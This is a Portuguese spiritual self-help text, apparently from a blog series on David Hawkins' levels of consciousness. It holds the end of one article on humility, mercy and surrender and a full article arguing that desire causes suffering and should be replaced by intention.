  • Por auto-honestidade e exame interno, as limitações são reveladas, geralmente como julgamentos residuais ou como o impacto de experiências anteriores. 
  • Colocar intenção em alterar a dualidade de percepção de “bom” vs “mau” para “mais preferível” vs “menos preferível”. 
  • Abandonar a fé na validade de seus pensamento e ideias, os identificando como apenas imagens e palavras sem realidade atual.

5. Misericórdia

  • A chave do amor incondicional é a vontade de perdão para desfazer ressentimentos passados e a visão de pessoas como antipáticas e indignas de amor puro. 
  • Pela vontade de perdoar e render suas percepções, elas podem ser recontextualizadas como limitadas, menos preferíveis, ou influenciadas por programações do ego. 
  • Perdão decorre da humildade de entregar o mundo e seus eventos a Deus.

6. Discernimento

  • As dificuldades deste mundo parecem ser consequência de diferentes níveis de consciência juntos simultaneamente, o que resulta em turbulência social.
  • Ao mesmo tempo  que a disponibilidade de um espectro tão amplo permite a maior oportunidade de crescimento a partir do esgotamento do carma negativo e, por opção, o acúmulo de carma positivo, tornando este domínio o da oportunidade espiritual máxima com vasta multidão de opções para a evolução da consciência, sobre a qual se pode ser grato ao invés de ressentido

7. Rendição

A rendição diante de um obstáculo é um pedido para o Espírito Santo revelar um milagre e é atendido a partir da vontade de entregar seus posicionamentos de percepções parciais e seu ganho egoísta para a revelação da verdade.

Gloria in Excelsis Deo!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O poder do amor incondicional

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual